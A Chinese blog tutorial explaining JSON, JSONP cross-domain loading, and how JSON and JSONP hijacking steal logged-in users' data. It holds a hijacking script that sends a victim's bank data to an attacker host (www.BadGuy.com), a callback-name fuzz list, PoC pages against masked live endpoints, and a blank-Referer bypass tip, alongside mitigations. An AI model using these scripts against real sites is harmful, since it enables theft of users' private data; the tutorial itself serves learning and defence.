json及jsonp注入

2018-12-06  本文已影响28人  帅猪佩奇


json以及jsonp

前言 

JSONP全名为JSON with Padding,其存在的意义便有绕过诸如同源策略强制执行XMLHttpRequest(AJAX requests)。是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 元素标签,远程调用 JSON 文件来实现数据传递。如要在 a.com 域下获取存在 b.com 的 JSON 数据( getUsers.JSON ):

JSONP(JSON with Padding)是一个非官方的协议,它允许在服务器端集成Script tags返回至客户端,通过javascript callback的形式实现跨域访问(这仅仅是JSONP简单的实现形式)。

JSONP注入是一个不太常见但影响非常广泛且极危险的漏洞,由于最近几年对JSON, web APIs以及跨域通信的需求增多,不得不引起我们的重视。

json基础 

JSON能够以非常简单的方式来描述数据结构,XML能做的它都能做,因此在跨平台方面两者完全不分伯仲。

1、JSON只有两种数据类型描述符,大括号{}和方括号[],其余英文冒号:是映射符,英文逗号,是分隔符,英文双引号”“是定义符。

2、大括号{}用来描述一组“不同类型的无序键值对集合”(每个键值对可以理解为OOP的属性描述),方括号[]用来描述一组“相同类型的有序数据集合”(可对应OOP的数组)。

3、上述两种集合中若有多个子项,则通过英文逗号,进行分隔。

4、键值对以英文冒号:进行分隔,并且建议键名都加上英文双引号”“,以便于不同语言的解析。

5、JSON内部常用数据类型无非就是字符串、数字、布尔、日期、null 这么几个,字符串必须用双引号引起来,其余的都不用,日期类型比较特殊,这里就不展开讲述了,只是建议如果客户端没有按日期排序功能需求的话,那么把日期时间直接作为字符串传递就好,可以省去很多麻烦。

json实例 

    // 描述一个人 

    var person = {

        "Name": "Bob", 

        "Age": 32, 

        "Company": "IBM", 

        "Engineer": true } 

    // 获取这个人的信息 

    var personAge = person.Age; 

    // 描述几个人 

    var members = [ 

    { 

        "Name": "Bob", 

        "Age": 32, 

        "Company": "IBM", 

        "Engineer": true 

    }, 

    { 

        "Name": "John", 

        "Age": 20, 

        "Company": "Oracle", 

        "Engineer": false 

    },

     {

         "Name": "Henry", 

        "Age": 45,

         "Company": "Microsoft",

"Engineer": false

    }

                 ] 

    // 读取其中John的公司名称 

    var johnsCompany = members[1].Company; 

    // 描述一次会议 

    var conference = { 

    "Conference": "Future Marketing", 

    "Date": "2012-6-1", 

    "Address": "Beijing", 

    "Members": 

    [ 

        { 

            "Name": "Bob", 

            "Age": 32, 

            "Company": "IBM", 

            "Engineer": true

         }, 

        { 

            "Name": "John", 

            "Age": 20, 

            "Company": "Oracle", 

            "Engineer": false 

        }, 

        { 

            "Name": "Henry", 

            "Age": 45, 

            "Company": "Microsoft", 

            "Engineer": false 

        } 

    ] 

                } 

    // 读取参会者Henry是否工程师 

    var henryIsAnEngineer = conference.Members[2].Engineer;

什么是jsonp 

1、一个众所周知的问题,Ajax直接请求普通文件存在跨域无权限访问的问题,甭管你是静态页面、动态网页、web服务、WCF,只要是跨域请求,一律不准;

2、不过我们又发现,Web页面上调用js文件时则不受是否跨域的影响(不仅如此,我们还发现凡是拥有”src”这个属性的标签都拥有跨域的能力,比如script、img、iframe);

3、于是可以判断,当前阶段如果想通过纯web端(ActiveX控件、服务端代理、属于未来的HTML5之Websocket等方式不算)跨域访问数据就只有一种可能,那就是在远程服务器上设法把数据装进js格式的文件里,供客户端调用和进一步处理;

4、恰巧我们已经知道有一种叫做JSON的纯字符数据格式可以简洁的描述复杂数据,更妙的是JSON还被js原生支持,所以在客户端几乎可以随心所欲的处理这种格式的数据;

5、这样子解决方案就呼之欲出了,web客户端通过与调用脚本一模一样的方式,来调用跨域服务器上动态生成的js格式文件(一般以JSON为后缀),显而易见,服务器之所以要动态生成JSON文件,目的就在于把客户端需要的数据装入进去。  (重点--简而言之。我们要加载远程文件而js又可以跨域,那么我们跨域调用远程js文件,便可以实现同源策略之下的跨域)

6、客户端在对JSON文件调用成功之后,也就获得了自己所需的数据,剩下的就是按照自己需求进行处理和展现了,这种获取远程数据的方式看起来非常像AJAX,但其实并不一样。

7、为了便于客户端使用数据,逐渐形成了一种非正式传输协议,人们把它称作JSONP,该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。

jsonp跨域实例

前端

jsonp.html

    <!DOCTYPE html> 

    <html>

    <body>

    <p>jsonp测试页面</p>

    <meta charset="utf-8"  content="text/html; charset=gb2312"/>

    <head> <title></title> <script type="text/javascript">

        // 得到航班信息查询结果后的回调函数

        var flightHandler = function(data){

            alert('你查询的航班结果是:票价 ' + data.price + ' 元,' + '余票 ' + data.tickets + ' 张。');

        };

        // 提供jsonp服务的url地址(不管是什么类型的地址,最终生成的返回值都是一段javascript代码)

        var url = "http://127.0.0.1/999.js?code=CA1998&callback=flightHandler";//这里我们直接写在了js里传参,很多是在get的方式url里传参,而不是固定好了的。

        // 创建script标签,设置其属性

        var script = document.createElement('script');

        script.setAttribute('src', url);

        // 把script标签加入head,此时调用开始

        document.getElementsByTagName('head')[0].appendChild(script); 

    </body>

    </html>

后端则有一个规则生成了一段这样的代码提供给jsonp.html(服务端的实现这里就不演示了,与你选用的语言无关,说到底就是拼接字符串):

示例固定的写一个json

    flightHandler({

"code": "CA1998",

"price": 1780,

"tickets": 5

    });

效果:

通过上述描述可以知道,若想实现JSONP,除了前端部分之外,还需要后端的配合,后端需返回符合JSONP要求的数据。

比如java可以这样写:

    Map<String,String> map = new HashMap<String,String>();  

    map.put("result", "content");  

    String resultJSON = JSONObject.toJSONString(map);   

    try {   

        PrintWriter out = response.getWriter();   

        String jsonpCallback = request.getParameter("jsonpCallback");//回调函数   

        out.println(jsonpCallback+"("+resultJSON+")");//返回jsonp格式数据 ,要用callback包装下  

        out.flush();   

        out.close();   

    } 

    catch (Exception e)   

    { e.printStackTrace(); }  

json劫持 

原理

(1).你正常访问信任站点(http://www.Bank.com),然后登陆信任站点。

(2).信任站点通过你的验证,并返回Cookie。

(3).这时,在你还没有登出信任站点之前,你再打开了一个浏览器的tab页,并访问了一个恶意站点(www.BadGuy.com)。

(4).恶意站点向请求用户访问http://www.Bank.com的一个资源。

(5).浏览器带着之前的Cookie信息,向信任站点http://www.Bank.com发出了一个GET请求。

(6).信任站点验证的Cookie信息通过,根据请求返回一个JSON数组(如果不清楚JSON,可以参考《JSON入门指南》)。

(7).你的浏览器收到来自http://www.Bank.com的响应后,转发响应中的JSON信息给恶意站点。

至此,恶意站点拿到你关于http://www.Bank.com的信息。

到这里,你应该有对JavaScript Hijacking有一个大概的概念,它确实和CSRF很相像,唯一不同的是,CSRF是模拟你的身份去发送请求,JavaScript Hijacking是模拟你的身份,窃取你在服务器上的私隐信息。

JavaScript Hijacking攻击示范代码:

演示代码之前,首先明确几点:

(1).恶意站点的攻击目标是明确的(这里目标就是http://www.Bank.com)。

(2).恶意站点是通过用户给它返回信任网站的JSON数组(为什么是JSON数组?普通的JSON对象不行么?这个下面会提到!),从而获取用户私隐信息的。也就是说所谓的隐私数据,也就是这些JSON数组里面的数据,所以信任站点返回的不是JSON数组的数据或者JSON里面的信息是垃圾信息,那么这个恶意站点是徒劳的。

(3).恶意站点必须实先知道用户返回的JSON的结构。

(4).恶意站点能且只能发送GET请求......

(5).这种攻击是需要浏览器支持的,至于为什么看下面吧。

恩,下面看一下攻击代码吧:>

这个恶意站点www.BadGuy.com针对www.Bank.com的攻击代码:

    <script type="text/javascript">

    Object.prototype.__defineSetter__('money', function(obj) { var objString = "";  for (fld in this) {objString += fld + ": " + this[fld] + ", "; }  req.open("GET", "http://www.BadGuy.com?obj=" +escape(objString),true); } req.send(null); );

    </script>

    <script type="text/javascript" src="http://www.Bank.com/UserInfo"></script>

在用户访问恶意网站时:

    <script type="text/javascript" src="http://www.Bank.com/UserInfo"></script>

(1).这段JS代码会要求浏览器发送一个GET请求到http://www.Bank.com/UserInfo,于是浏览器按照指示,带上本地的Cookie信息,发送一个http的GET请求。

(2).www.Bank.Com接受到请求后,确认身份后,响应请求返回了一个JSON数组/JavaScript代码段。

(3).客户端接受到这段JS脚本后,如果返回的是一个JSON数组,比如:

    [{"Id":3,"Name":hyddd,"Money":10000}]

JSON数组被认为是一段可执行的JavaScript脚本,于是浏览器会解析执行。

如果返回的是一个JSON对象呢?

    {"Id":3,"Name":hyddd,"Money":10000}

呵呵,这个是不会被浏览器执行的,因为浏览器认为:它不是一个JavaScript脚本。

如果它返回的是一个JavaScript脚本的话,恩,这得具体问题具体分析了,不一定能拿到什么数据。

(4).看下面这段JavaScript脚本:

    <script type="text/javascript">

    Object.prototype.__defineSetter__('Money', function(obj) { var objString = "";  for (fld in this) {objString += fld + ": " + this[fld] + ", "; }  req.open("GET", "http://www.BadGuy.com?obj"= +escape(objString),true); } req.send(null); );

    </script>

它的作用就是发送受害者的私隐信息到恶意站点的。

这里可能有人不理解,我大概说一下:

Object.prototype.__defineSetter__,可以看做是JavaScript中的Hook(有人把这个称为JavaScript函数劫持,注意JavaScript的函数劫持和JavaScript Hijacking不是同一个概念,JavaScript Hijacking的核心思想和CSRF攻击的核心思想应该是一致的),这里是对Object的Money属性设置了一个Hook,在JavaScript中,由于其他的对象都是派生自Object的,所以这段代码就对所有对象的Money属性都做了一个Hook,当有对象设置它的Money属性时,都会触发上面这段代码的运行。注意的是:__defineSetter__这个在IE系列的浏览器好像是不受支持的(在IE6下试了不行),但FireFox系列的浏览器是肯定支持的。

后面的var objString=""...这就是发送受害者信息到恶意站点了,这里不说了。

当浏览器解析(3)中的JSON数组时,会新建一个对象并赋值,这时候就出发了上面这段代码,结果私隐信息就发送到恶意站点了。

通过

    Object.prototype.__defineSetter__

这个函数来触发自己的恶意代码。

但是这个函数在当前的新版本chrome和firefox中都已经失效了。

解决方法 

1、验证 HTTP Referer 头信息;

2、在请求中添加 csrfToken 并在后端进行验证;

jsonp劫持

寻找jsonp的接口 

1.burp抓包,一般有jsonp的数据传输会在mimetype中显示为script,通过排序可以快速得找到

2.火狐控制台查找包

3.fuzz

如果jsonp的接口没有敏感信息传输,json数据包中恰好有的话,我们可以尝试一下程序员是否有开发jsonp的格式,大多数程序员喜欢把jsonp的回传参数命名为callback

当然还有其他的可能,字典用Intruder Fuzz一下试试:

    callback=attack

    cb=attack

    call=attack

    jsonp=attack

    jsonpcallback=attack

    jsonpcb=attack

    json=attack

    jsoncallback=attack

    jcb=attack

某云实例 

复制到url里便可以检验是否存在jsonp接口漏洞。

修改callback原函数便可将json数据全部显示出来,一些敏感信息。

poc

    <script>

    function peiqi(json){

        alert(json.result.pin)

    }

    </script>

    <script src="https://xx.xx.xx.xx/menu/getUserMenu?callback=peiqi"></script>

poc可以继续构造制定发送到自己的页面,可见jsonp的原理与csrf基本为一致的,利用用户的身份来做一些事情,或者发送自己的信息给别人,

某X jsonp

POC

    <script>

    function peiqi(json){

        alert(json.userName)

    }

    </script>

    <script src="http://XX.XXXXX.com/checkLogin?callback=peiqi&_=15436278817"></script>

目前挖掘jsonp 一般是F12 寻找callback函数,推荐一款自动检测XSS jsonp的谷歌插件 XssSniper

绕过

一些对referer 进行验证,但是有的时候空referer可以绕过验证。

---

参考:https://blog.csdn.net/yjclsx/article/details/80340901

参考:http://www.cnblogs.com/hyddd/archive/2009/07/02/1515768.html

参考:https://shiyousan.com/post/635441704246553316

上一篇下一篇

猜你喜欢

热点阅读